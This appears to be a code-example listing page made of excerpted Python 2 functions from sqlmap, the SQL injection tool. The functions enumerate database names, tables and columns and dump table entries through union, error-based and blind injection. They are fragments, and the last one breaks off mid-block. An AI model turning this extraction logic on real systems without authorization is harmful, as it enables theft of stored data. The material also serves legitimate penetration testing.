                    table = inject.getValue(query, union=False, error=False)
                    if not isNoneValue(table):
                        kb.hintValue = table
                        table = safeSQLIdentificatorNaming(table, True)
                        tables.append(table)

                if tables:
                    kb.data.cachedTables[db] = tables
                else:
                    warnMsg = "unable to retrieve the table names "
                    warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db)
                    logger.warn(warnMsg)

        if isNoneValue(kb.data.cachedTables):
            kb.data.cachedTables.clear()

        if not kb.data.cachedTables:
            errMsg = "unable to retrieve the table names for any database"
            if bruteForce is None:
                logger.error(errMsg)
                return self.getTables(bruteForce=True)
            else:
                raise sqlmapNoneDataException, errMsg
        else:
            for db, tables in kb.data.cachedTables.items():
                kb.data.cachedTables[db] = sorted(tables) if tables else tables

        return kb.data.cachedTables
Beispiel #46
0
    def dumpTable(self, foundData=None):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = "missing database parameter. sqlmap is going "
                warnMsg += "to use the current database to enumerate "
                warnMsg += "table(s) entries"
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
                conf.db = conf.db.upper()

            if  ',' in conf.db:
                errMsg = "only one database name is allowed when enumerating "
                errMsg += "the tables' columns"
                raise SqlmapMissingMandatoryOptionException(errMsg)

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(",")
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                tblList = kb.data.cachedTables.values()

                if isinstance(tblList[0], (set, tuple, list)):
                    tblList = tblList[0]
            else:
                errMsg = "unable to retrieve the tables "
                errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                raise SqlmapNoneDataException(errMsg)

        for tbl in tblList:
            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)

        for tbl in tblList:
            conf.tbl = tbl
            kb.data.dumpedTable = {}

            if foundData is None:
                kb.data.cachedColumns = {}
                self.getColumns(onlyColNames=True)
            else:
                kb.data.cachedColumns = foundData

            try:
                kb.dumpTable = "%s.%s" % (conf.db, tbl)

                if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \
                   or safeSQLIdentificatorNaming(tbl, True) not in \
                   kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \
                   or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
                    warnMsg = "unable to enumerate the columns for table "
                    warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += ", skipping" if len(tblList) > 1 else ""
                    logger.warn(warnMsg)

                    continue

                columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]
                colList = sorted(filter(None, columns.keys()))
                colNames = colString = ", ".join(column for column in colList)
                rootQuery = queries[Backend.getIdentifiedDbms()].dump_table

                infoMsg = "fetching entries"
                if conf.col:
                    infoMsg += " of column(s) '%s'" % colNames
                infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(tbl)
                infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                logger.info(infoMsg)

                for column in colList:
                    _ = agent.preprocessField(tbl, column)
                    if _ != column:
                        colString = re.sub(r"\b%s\b" % column, _, colString)

                entriesCount = 0

                if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                    entries = []
                    query = None

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB):
                        query = rootQuery.inband.query % (colString, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                        # Partial inband and error
                        if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL):
                            table = "%s.%s" % (conf.db, tbl)

                            retVal = pivotDumpTable(table, colList, blind=False)

                            if retVal:
                                entries, _ = retVal
                                entries = zip(*[entries[colName] for colName in colList])
                        else:
                            query = rootQuery.inband.query % (colString, conf.db, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
                        query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
                    else:
                        query = rootQuery.inband.query % (colString, conf.db, tbl)

                    if not entries and query:
                        entries = inject.getValue(query, blind=False, time=False, dump=True)

                    if not isNoneValue(entries):
                        if isinstance(entries, basestring):
                            entries = [entries]
                        elif not isListLike(entries):
                            entries = []

                        entriesCount = len(entries)

                        for index, column in enumerate(colList):
                            if column not in kb.data.dumpedTable:
                                kb.data.dumpedTable[column] = {"length": len(column), "values": BigArray()}

                            for entry in entries:
                                if entry is None or len(entry) == 0:
                                    continue

                                if isinstance(entry, basestring):
                                    colEntry = entry
                                else:
                                    colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u''

                                _ = len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry)))
                                maxLen = max(len(column), _)

                                if maxLen > kb.data.dumpedTable[column]["length"]:
                                    kb.data.dumpedTable[column]["length"] = maxLen

                                kb.data.dumpedTable[column]["values"].append(colEntry)

                if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct:
                    infoMsg = "fetching number of "
                    if conf.col:
                        infoMsg += "column(s) '%s' " % colNames
                    infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
                        query = rootQuery.blind.count % tbl
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                        query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl))
                    elif Backend.isDbms(DBMS.MAXDB):
                        query = rootQuery.blind.count % tbl
                    else:
                        query = rootQuery.blind.count % (conf.db, tbl)

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    lengths = {}
                    entries = {}

                    if count == 0:
                        warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db)
                        warnMsg += "appears to be empty"
                        logger.warn(warnMsg)

                        for column in colList:
                            lengths[column] = len(column)
                            entries[column] = []

                    elif not isNumPosStrValue(count):
                        warnMsg = "unable to retrieve the number of "
                        if conf.col:
                            warnMsg += "column(s) '%s' " % colNames
                        warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                        logger.warn(warnMsg)

                        continue

                    elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL):
                        if Backend.isDbms(DBMS.ACCESS):
                            table = tbl
                        elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                            table = "%s.%s" % (conf.db, tbl)
                        elif Backend.isDbms(DBMS.MAXDB):
                            table = "%s.%s" % (conf.db, tbl)

                        retVal = pivotDumpTable(table, colList, count, blind=True)

                        if retVal:
                            entries, lengths = retVal

                    else:
                        emptyColumns = []
                        plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                        indexRange = getLimitRange(count, dump=True, plusOne=plusOne)

                        if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
                            for column in colList:
                                if inject.getValue("SELECT COUNT(%s) FROM %s" % (column, kb.dumpTable), union=False, error=False) == '0':
                                    emptyColumns.append(column)
                                    debugMsg = "column '%s' of table '%s' will not be " % (column, kb.dumpTable)
                                    debugMsg += "dumped as it appears to be empty"
                                    logger.debug(debugMsg)

                        try:
                            for index in indexRange:
                                for column in colList:
                                    value = ""

                                    if column not in lengths:
                                        lengths[column] = 0

                                    if column not in entries:
                                        entries[column] = BigArray()

                                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column),
                                                                        tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())),
                                                                        index)
                                    elif Backend.isDbms(DBMS.SQLITE):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)

                                    elif Backend.isDbms(DBMS.FIREBIRD):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)

                                    value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True)
                                    value = '' if value is None else value

                                    _ = DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))
                                    lengths[column] = max(lengths[column], len(_))
                                    entries[column].append(value)

                        except KeyboardInterrupt:
                            clearConsoleLine()
                            warnMsg = "Ctrl+C detected in dumping phase"
                            logger.warn(warnMsg)

                    for column, columnEntries in entries.items():
                        length = max(lengths[column], len(column))

                        kb.data.dumpedTable[column] = {"length": length, "values": columnEntries}

                        entriesCount = len(columnEntries)

                if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag):
                    warnMsg = "unable to retrieve the entries "
                    if conf.col:
                        warnMsg += "of columns '%s' " % colNames
                    warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += "in database '%s'%s" % (unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "")
                    logger.warn(warnMsg)
                else:
                    kb.data.dumpedTable["__infos__"] = {"count": entriesCount,
                                                        "table": safeSQLIdentificatorNaming(tbl, True),
                                                        "db": safeSQLIdentificatorNaming(conf.db)}
                    attackDumpedTable()
                    conf.dumper.dbTableValues(kb.data.dumpedTable)

            except SqlmapConnectionException, e:
                errMsg = "connection exception detected in dumping phase: "
                errMsg += "'%s'" % e
                logger.critical(errMsg)

            finally:
Beispiel #47
0
    def getDbs(self):
        if len(kb.data.cachedDbs) > 0:
            return kb.data.cachedDbs

        infoMsg = None

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            warnMsg = "information_schema not available, "
            warnMsg += "back-end DBMS is MySQL < 5. database "
            warnMsg += "names will be fetched from 'mysql' database"
            logger.warn(warnMsg)

        elif Backend.isDbms(DBMS.ORACLE):
            warnMsg = "schema names are going to be used on Oracle "
            warnMsg += "for enumeration as the counterpart to database "
            warnMsg += "names on other DBMSes"
            logger.warn(warnMsg)

            infoMsg = "fetching database (schema) names"
        elif Backend.isDbms(DBMS.DB2):
            warnMsg = "schema names are going to be used on IBM DB2 "
            warnMsg += "for enumeration as the counterpart to database "
            warnMsg += "names on other DBMSes"
            logger.warn(warnMsg)

            infoMsg = "fetching database (schema) names"
        else:
            infoMsg = "fetching database names"

        if infoMsg:
            logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].dbs

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query
            value = inject.getValue(query, blind=False, time=False)

            if not isNoneValue(value):
                kb.data.cachedDbs = arrayizeValue(value)

        if not kb.data.cachedDbs and isInferenceAvailable() and not conf.direct:
            infoMsg = "fetching number of databases"
            logger.info(infoMsg)

            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                query = rootQuery.blind.count2
            else:
                query = rootQuery.blind.count
            count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

            if not isNumPosStrValue(count):
                errMsg = "unable to retrieve the number of databases"
                logger.error(errMsg)
            else:
                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.SYBASE):
                        query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ")
                    elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.query2 % index
                    else:
                        query = rootQuery.blind.query % index
                    db = inject.getValue(query, union=False, error=False)

                    if db:
                        kb.data.cachedDbs.append(safeSQLIdentificatorNaming(db))

        if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL):
            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
                blinds = (False, True)
            else:
                blinds = (True,)

            for blind in blinds:
                count = 0
                kb.data.cachedDbs = []
                while True:
                    query = rootQuery.inband.query2 % count
                    value = inject.getValue(query, blind=blind)
                    if not value:
                        break
                    else:
                        kb.data.cachedDbs.append(unArrayizeValue(value))
                        count += 1
                if kb.data.cachedDbs:
                    break

        if not kb.data.cachedDbs:
            infoMsg = "falling back to current database"
            logger.info(infoMsg)
            self.getCurrentDb()

            if kb.data.currentDb:
                kb.data.cachedDbs = [kb.data.currentDb]
            else:
                errMsg = "unable to retrieve the database names"
                raise sqlmapNoneDataException, errMsg
        else:
            kb.data.cachedDbs.sort()

        return kb.data.cachedDbs
Beispiel #48
0
    def searchTable(self):
        foundTbls = {}
        tblList = conf.tbl.split(",")
        rootQuery = queries[DBMS.MSSQL].search_table
        tblCond = rootQuery.inband.condition
        tblConsider, tblCondParam = self.likeOrExact("table")

        if conf.db == CURRENT_DB:
            conf.db = self.getCurrentDb()

        if conf.db:
            enumDbs = conf.db.split(",")
        elif not len(kb.data.cachedDbs):
            enumDbs = self.getDbs()
        else:
            enumDbs = kb.data.cachedDbs

        for db in enumDbs:
            db = safeSQLIdentificatorNaming(db)
            foundTbls[db] = []

        for tbl in tblList:
            tbl = safeSQLIdentificatorNaming(tbl, True)

            infoMsg = "searching table"
            if tblConsider == "1":
                infoMsg += "s LIKE"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
            logger.info(infoMsg)

            tblQuery = "%s%s" % (tblCond, tblCondParam)
            tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)

            for db in foundTbls.keys():
                db = safeSQLIdentificatorNaming(db)

                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % db
                    logger.info(infoMsg)

                    continue

                if any(
                        isTechniqueAvailable(_)
                        for _ in (PAYLOAD.TECHNIQUE.UNION,
                                  PAYLOAD.TECHNIQUE.ERROR,
                                  PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                    query = rootQuery.inband.query.replace("%s", db)
                    query += tblQuery
                    values = inject.getValue(query, blind=False, time=False)

                    if not isNoneValue(values):
                        if isinstance(values, basestring):
                            values = [values]

                        for foundTbl in values:
                            if foundTbl is None:
                                continue

                            foundTbls[db].append(foundTbl)
                else:
                    infoMsg = "fetching number of table"
                    if tblConsider == "1":
                        infoMsg += "s LIKE"
                    infoMsg += " '%s' in database '%s'" % (
                        unsafeSQLIdentificatorNaming(tbl),
                        unsafeSQLIdentificatorNaming(db))
                    logger.info(infoMsg)

                    query = rootQuery.blind.count
                    query = query.replace("%s", db)
                    query += " AND %s" % tblQuery
                    count = inject.getValue(query,
                                            union=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "no table"
                        if tblConsider == "1":
                            warnMsg += "s LIKE"
                        warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                            db)
                        logger.warn(warnMsg)

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query
                        query = query.replace("%s", db)
                        query += " AND %s" % tblQuery
                        query = agent.limitQuery(index, query, tblCond)
                        tbl = inject.getValue(query, union=False, error=False)
                        kb.hintValue = tbl
                        foundTbls[db].append(tbl)

        for db, tbls in foundTbls.items():
            if len(tbls) == 0:
                foundTbls.pop(db)

        if not foundTbls:
            warnMsg = "no databases contain any of the provided tables"
            logger.warn(warnMsg)
            return

        conf.dumper.dbTables(foundTbls)
        self.dumpFoundTables(foundTbls)
Beispiel #49
0
    def searchColumn(self):
        bruteForce = False

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            errMsg = "information_schema not available, "
            errMsg += "back-end DBMS is MySQL < 5.0"
            bruteForce = True

        if bruteForce:
            message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
            test = readInput(message, default="Y" if "Y" in message else "N")

            if test[0] in ("n", "N"):
                return
            elif test[0] in ("q", "Q"):
                raise SqlmapUserQuitException
            else:
                regex = '|'.join(conf.col.split(','))
                conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex))

                message = "do you want to dump entries? [Y/n] "
                output = readInput(message, default="Y")

                if output and output[0] not in ("n", "N"):
                    self.dumpAll()

                return

        rootQuery = queries[Backend.getIdentifiedDbms()].search_column
        foundCols = {}
        dbs = {}
        whereDbsQuery = ""
        whereTblsQuery = ""
        infoMsgTbl = ""
        infoMsgDb = ""
        colList = conf.col.split(",")

        if conf.excludeCol:
            colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]

        origTbl = conf.tbl
        origDb = conf.db
        colCond = rootQuery.inband.condition
        dbCond = rootQuery.inband.condition2
        tblCond = rootQuery.inband.condition3
        colConsider, colCondParam = self.likeOrExact("column")

        for column in colList:
            values = []
            column = safeSQLIdentificatorNaming(column)
            conf.db = origDb
            conf.tbl = origTbl

            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                column = column.upper()

            infoMsg = "searching column"
            if colConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)

            foundCols[column] = {}

            if conf.tbl:
                _ = conf.tbl.split(",")
                whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
                infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _))

            if conf.db and conf.db != CURRENT_DB:
                _ = conf.db.split(",")
                whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")"
                infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _))
            elif conf.excludeSysDbs:
                whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList)
                infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
                logger.info(infoMsg2)
            else:
                infoMsgDb = " across all databases"

            logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))

            colQuery = "%s%s" % (colCond, colCondParam)
            colQuery = colQuery % unsafeSQLIdentificatorNaming(column)

            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                if not all((conf.db, conf.tbl)):
                    # Enumerate tables containing the column provided if
                    # either of database(s) or table(s) is not provided
                    query = rootQuery.inband.query
                    query = query % (colQuery + whereDbsQuery + whereTblsQuery)
                    values = inject.getValue(query, blind=False, time=False)
                else:
                    # Assume provided databases' tables contain the
                    # column(s) provided
                    values = []

                    for db in conf.db.split(","):
                        for tbl in conf.tbl.split(","):
                            values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)])

                for db, tbl in filterPairValues(values):
                    db = safeSQLIdentificatorNaming(db)
                    tbls = tbl.split(",") if not isNoneValue(tbl) else []

                    for tbl in tbls:
                        tbl = safeSQLIdentificatorNaming(tbl, True)

                        if db is None or tbl is None:
                            continue

                        conf.db = db
                        conf.tbl = tbl
                        conf.col = column

                        self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)

                        if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
                            if db not in dbs:
                                dbs[db] = {}

                            if tbl not in dbs[db]:
                                dbs[db][tbl] = {}

                            dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])

                            if db in foundCols[column]:
                                foundCols[column][db].append(tbl)
                            else:
                                foundCols[column][db] = [tbl]

                        kb.data.cachedColumns = {}

            if not values and isInferenceAvailable() and not conf.direct:
                if not conf.db:
                    infoMsg = "fetching number of databases with tables containing column"
                    if colConsider == "1":
                        infoMsg += "s like"
                    infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
                    logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))

                    query = rootQuery.blind.count
                    query = query % (colQuery + whereDbsQuery + whereTblsQuery)
                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "no databases have tables containing column"
                        if colConsider == "1":
                            warnMsg += "s like"
                        warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
                        logger.warn("%s%s" % (warnMsg, infoMsgTbl))

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query
                        query = query % (colQuery + whereDbsQuery + whereTblsQuery)
                        query = agent.limitQuery(index, query)

                        db = unArrayizeValue(inject.getValue(query, union=False, error=False))
                        db = safeSQLIdentificatorNaming(db)

                        if db not in dbs:
                            dbs[db] = {}

                        if db not in foundCols[column]:
                            foundCols[column][db] = []
                else:
                    for db in conf.db.split(","):
                        db = safeSQLIdentificatorNaming(db)
                        if db not in foundCols[column]:
                            foundCols[column][db] = []

                origDb = conf.db
                origTbl = conf.tbl

                for column, dbData in foundCols.items():
                    colQuery = "%s%s" % (colCond, colCondParam)
                    colQuery = colQuery % unsafeSQLIdentificatorNaming(column)

                    for db in dbData:
                        conf.db = origDb
                        conf.tbl = origTbl

                        infoMsg = "fetching number of tables containing column"
                        if colConsider == "1":
                            infoMsg += "s like"
                        infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(column), unsafeSQLIdentificatorNaming(db))
                        logger.info(infoMsg)

                        query = rootQuery.blind.count2
                        query = query % unsafeSQLIdentificatorNaming(db)
                        query += " AND %s" % colQuery
                        query += whereTblsQuery

                        count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = "no tables contain column"
                            if colConsider == "1":
                                warnMsg += "s like"
                            warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(column)
                            warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
                            logger.warn(warnMsg)

                            continue

                        indexRange = getLimitRange(count)

                        for index in indexRange:
                            query = rootQuery.blind.query2

                            if query.endswith("'%s')"):
                                query = query[:-1] + " AND %s)" % (colQuery + whereTblsQuery)
                            else:
                                query += " AND %s" % (colQuery + whereTblsQuery)

                            query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db))
                            query = agent.limitQuery(index, query)

                            tbl = unArrayizeValue(inject.getValue(query, union=False, error=False))
                            kb.hintValue = tbl

                            tbl = safeSQLIdentificatorNaming(tbl, True)

                            conf.db = db
                            conf.tbl = tbl
                            conf.col = column

                            self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)

                            if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
                                if db not in dbs:
                                    dbs[db] = {}

                                if tbl not in dbs[db]:
                                    dbs[db][tbl] = {}

                                dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])

                            kb.data.cachedColumns = {}

                            if db in foundCols[column]:
                                foundCols[column][db].append(tbl)
                            else:
                                foundCols[column][db] = [tbl]

        if dbs:
            conf.dumper.dbColumns(foundCols, colConsider, dbs)
            self.dumpFoundColumn(dbs, foundCols, colConsider)
        else:
            warnMsg = "no databases have tables containing any of the "
            warnMsg += "provided columns"
            logger.warn(warnMsg)
Beispiel #50
0
    def searchColumn(self):
        rootQuery = queries[DBMS.MSSQL].search_column
        foundCols = {}
        dbs = {}
        whereTblsQuery = ""
        infoMsgTbl = ""
        infoMsgDb = ""
        colList = conf.col.split(",")

        if conf.excludeCol:
            colList = [
                _ for _ in colList if _ not in conf.excludeCol.split(',')
            ]

        origTbl = conf.tbl
        origDb = conf.db
        colCond = rootQuery.inband.condition
        tblCond = rootQuery.inband.condition2
        colConsider, colCondParam = self.likeOrExact("column")

        if conf.db == CURRENT_DB:
            conf.db = self.getCurrentDb()

        if conf.db:
            enumDbs = conf.db.split(",")
        elif not len(kb.data.cachedDbs):
            enumDbs = self.getDbs()
        else:
            enumDbs = kb.data.cachedDbs

        for db in enumDbs:
            db = safeSQLIdentificatorNaming(db)
            dbs[db] = {}

        for column in colList:
            column = safeSQLIdentificatorNaming(column)
            conf.db = origDb
            conf.tbl = origTbl

            infoMsg = "searching column"
            if colConsider == "1":
                infoMsg += "s LIKE"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)

            foundCols[column] = {}

            if conf.tbl:
                _ = conf.tbl.split(",")
                whereTblsQuery = " AND (" + " OR ".join(
                    "%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl))
                    for tbl in _) + ")"
                infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "",
                                                    ", ".join(tbl
                                                              for tbl in _))

            if conf.db == CURRENT_DB:
                conf.db = self.getCurrentDb()

            if conf.db:
                _ = conf.db.split(",")
                infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "",
                                                     ", ".join(db for db in _))
            elif conf.excludeSysDbs:
                msg = "skipping system database%s '%s'" % (
                    "s" if len(self.excludeDbsList) > 1 else "", ", ".join(
                        db for db in self.excludeDbsList))
                logger.info(msg)
            else:
                infoMsgDb = " across all databases"

            logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))

            colQuery = "%s%s" % (colCond, colCondParam)
            colQuery = colQuery % unsafeSQLIdentificatorNaming(column)

            for db in filter(None, dbs.keys()):
                db = safeSQLIdentificatorNaming(db)

                if conf.excludeSysDbs and db in self.excludeDbsList:
                    continue

                if any(
                        isTechniqueAvailable(_)
                        for _ in (PAYLOAD.TECHNIQUE.UNION,
                                  PAYLOAD.TECHNIQUE.ERROR,
                                  PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                    query = rootQuery.inband.query % (db, db, db, db, db, db)
                    query += " AND %s" % colQuery.replace("[DB]", db)
                    query += whereTblsQuery.replace("[DB]", db)
                    values = inject.getValue(query, blind=False, time=False)

                    if not isNoneValue(values):
                        if isinstance(values, basestring):
                            values = [values]

                        for foundTbl in values:
                            foundTbl = safeSQLIdentificatorNaming(
                                unArrayizeValue(foundTbl), True)

                            if foundTbl is None:
                                continue

                            if foundTbl not in dbs[db]:
                                dbs[db][foundTbl] = {}

                            if colConsider == "1":
                                conf.db = db
                                conf.tbl = foundTbl
                                conf.col = column

                                self.getColumns(onlyColNames=True,
                                                colTuple=(colConsider,
                                                          colCondParam),
                                                bruteForce=False)

                                if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db]\
                                  and not isNoneValue(kb.data.cachedColumns[db][foundTbl]):
                                    dbs[db][foundTbl].update(
                                        kb.data.cachedColumns[db][foundTbl])
                                kb.data.cachedColumns = {}
                            else:
                                dbs[db][foundTbl][column] = None

                            if db in foundCols[column]:
                                foundCols[column][db].append(foundTbl)
                            else:
                                foundCols[column][db] = [foundTbl]
                else:
                    foundCols[column][db] = []

                    infoMsg = "fetching number of tables containing column"
                    if colConsider == "1":
                        infoMsg += "s LIKE"
                    infoMsg += " '%s' in database '%s'" % (column, db)
                    logger.info("%s%s" % (infoMsg, infoMsgTbl))

                    query = rootQuery.blind.count
                    query = query % (db, db, db, db, db, db)
                    query += " AND %s" % colQuery.replace("[DB]", db)
                    query += whereTblsQuery.replace("[DB]", db)
                    count = inject.getValue(query,
                                            union=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "no tables contain column"
                        if colConsider == "1":
